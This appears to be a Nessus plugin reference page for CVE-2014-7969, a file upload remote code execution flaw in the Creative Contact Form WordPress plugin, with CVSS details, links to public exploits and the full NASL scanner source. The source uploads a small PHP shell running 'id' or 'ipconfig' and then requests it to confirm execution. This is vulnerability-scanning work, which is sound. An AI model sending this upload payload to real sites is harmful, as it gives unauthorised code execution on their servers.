Creative Contact Form Plugin for WordPress File Upload RCE - Nessus

High   Plugin ID: 79421

This page contains detailed information about the Creative Contact Form Plugin for WordPress File Upload RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 79421
Name: Creative Contact Form Plugin for WordPress File Upload RCE
Filename: wordpress_creative_contact_form_file_upload.nasl
Vulnerability Published: 2014-10-23
This Plugin Published: 2014-11-24
Last Modification Time: 2021-01-19
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information


Severity: High
Vulnerability Published: 2014-10-23
Patch Published: 2014-10-27
CVE [?]: CVE-2014-7969
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server hosts a PHP script that allows arbitrary code execution.

Description

The Creative Contact Form Plugin for WordPress (previously known as Sexy Contact Form) installed on the remote host is affected by a remote code execution vulnerability due to the failure to properly sanitize user-supplied files that are uploaded to the script '/includes/fileupload/UploadHandler.php'. By uploading a malicious file, a remote, unauthenticated attacker can exploit this issue to execute arbitrary code under the privileges of the web server user.

Solution

Upgrade to version 1.0.0 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Creative Contact Form Plugin for WordPress File Upload RCE vulnerability:

  1. Metasploit: exploit/unix/webapp/wp_creativecontactform_file_upload
    [Wordpress Creative Contact Form Upload Vulnerability]
  2. Exploit-DB: exploits/php/webapps/34922.txt
    [EDB-34922: WordPress Plugin Creative Contact Form 0.9.7 - Arbitrary File Upload]
  3. Exploit-DB: exploits/php/webapps/35057.py
    [EDB-35057: WordPress Plugin 0.9.7 / Joomla! Component 2.0.0 Creative Contact Form - Arbitrary File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:5.9 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.9 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:7.9 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.9 (High)

Go back to menu.

Plugin Source


This is the wordpress_creative_contact_form_file_upload.nasl nessus plugin source code. This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(79421);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-7969");
  script_bugtraq_id(70723);
  script_xref(name:"EDB-ID", value:"34922");
  script_xref(name:"EDB-ID", value:"35057");

  script_name(english:"Creative Contact Form Plugin for WordPress File Upload RCE");
  script_summary(english:"Attempts to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that allows arbitrary code
execution.");
  script_set_attribute(attribute:"description", value:
"The Creative Contact Form Plugin for WordPress (previously known as
Sexy Contact Form) installed on the remote host is affected by a
remote code execution vulnerability due to the failure to properly
sanitize user-supplied files that are uploaded to the script
'/includes/fileupload/UploadHandler.php'. By uploading a malicious
file, a remote, unauthenticated attacker can exploit this issue to
execute arbitrary code under the privileges of the web server user.");
  script_set_attribute(attribute:"see_also", value:"https://wordpress.org/plugins/sexy-contact-form/#changelog");
  script_set_attribute(attribute:"solution", value:"Upgrade to version 1.0.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"metasploit_name", value:'Wordpress Creative Contact Form Upload Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/10/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/10/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/11/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "wordpress_detect.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = "Creative Contact Form";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('var sexycontactform_');
  checks["/wp-content/plugins/sexy-contact-form/includes/js/sexycontactform.js"] = regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig%20/all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig%20/all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig%20/all'] = "Subnet Mask";

token = (SCRIPT_NAME - ".nasl") + "-" + unixtime();
ext = ".php";
vuln = FALSE;
r = 0;

boundary = '-------------------------------';

foreach cmd (cmds)
{
  token += r;
  if (cmd == "id")
    attack = '<?php system(id);echo("path="); system(pwd);?>';
  else
  {
    attack = '<?php echo(' + "'<pre>');system('ipconfig /all');system('dir " +
    token + ext + "');?>";
  }

  postdata =
    boundary + '--\r\n' +
    'Content-Disposition: form-data; name="files[]"; filename="' + token + ext +
    '"\r\n' +
    'Content-Type: text/plain\r\n' +
    '\r\n' + attack + '\r\n\r\n' +
    boundary + '----\r\n';

  # Attempt exploit
  res = http_send_recv3(
    method       : "POST",
    item         : dir + "/wp-content/plugins/sexy-contact-form/includes" +                        "/fileupload/index.php",
    port         : port,
    data         : postdata,
    add_headers  : make_array("Content-Type", "multipart/form-data; boundary=" +
                   boundary),
    exit_on_fail : TRUE
  );

  attack_req = http_last_sent_request();

  # Try accessing the file we uploaded
  file_path = "/wp-content/plugins/sexy-contact-form/includes/" +
    "fileupload/files/" + token + ext;

  res2 = http_send_recv3(
    method       : "GET",
    item         : dir + file_path,
    port         : port,
    exit_on_fail : TRUE
  );
  output = res2[2];

  if (egrep(pattern:cmd_pats[cmd], string:output))
  {
    vuln = TRUE;
    if (cmd == "id")
    {
      line_limit = 2;
      item = eregmatch(pattern:"path=(.*)", string:output);

      if (!empty_or_null(item))
      {
        path = chomp(item[1]) + '/' + token + ext;
        pos = stridx(output, "path=");
        output = substr(output, 0, pos-1);
      }
      else path = 'unknown';
    }
    else
    {
      cmd = 'ipconfig /all'; #Format for report output
      line_limit = 10;
      output = strstr(output, "Windows IP");
      item = eregmatch(pattern:"Directory of (.*)", string:output);

      if (!empty_or_null(item))
      {
        path = chomp(item[1]) + '\\' + token + ext;
        pos = stridx(output, "Volume in drive");
        output = substr(output, 0, pos - 1);
      }
      else path = 'unknown';
    }
    if (empty_or_null(output)) output = res2[2]; # Just in case
    break;
  }
  # Increment file name before next request attempt
  else r++;
}
if (!vuln) audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  cmd         : cmd,
  line_limit  : line_limit,
  request     : make_list(attack_req, install_url + file_path),
  output      : chomp(output),
  rep_extra   : '\n' + 'Note: This file has not been removed by Nessus and will need to be' +
                '\n' + 'manually deleted (' + path + ').'
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wordpress_creative_contact_form_file_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_creative_contact_form_file_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wordpress_creative_contact_form_file_upload.nasl

Go back to menu.

How to Run


Here is how to run the Creative Contact Form Plugin for WordPress File Upload RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Creative Contact Form Plugin for WordPress File Upload RCE plugin ID 79421.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_creative_contact_form_file_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_creative_contact_form_file_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_creative_contact_form_file_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_creative_contact_form_file_upload.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 79420 - Creative Contact Form Component for Joomla! File Upload RCE
  • 32442 - Creative Software AutoUpdate Engine ActiveX (CTSUEng.ocx) Unspecified Overflow
  • 91386 - Adobe Creative Cloud <= 3.5.1.209 Arbitrary File Read/Write Vulnerability
  • 91780 - Adobe Creative Cloud Desktop < 3.7.0.272 Multiple Vulnerabilities (APSB16-21)
  • 99366 - Adobe Creative Cloud Desktop < 4.0.0.185 Multiple Vulnerabilities (APSB17-13)
  • 109729 - Adobe Creative Cloud Desktop < 4.5.0.331 Multiple Vulnerabilities (APSB18-12)
  • 157902 - Adobe Creative Cloud Desktop Arbitrary Code Execution (ASPB22-11)
  • 91387 - Adobe Creative Cloud <= 3.5.1.209 Arbitrary File Read/Write Vulnerability (Mac OS X)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_creative_contact_form_file_upload.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.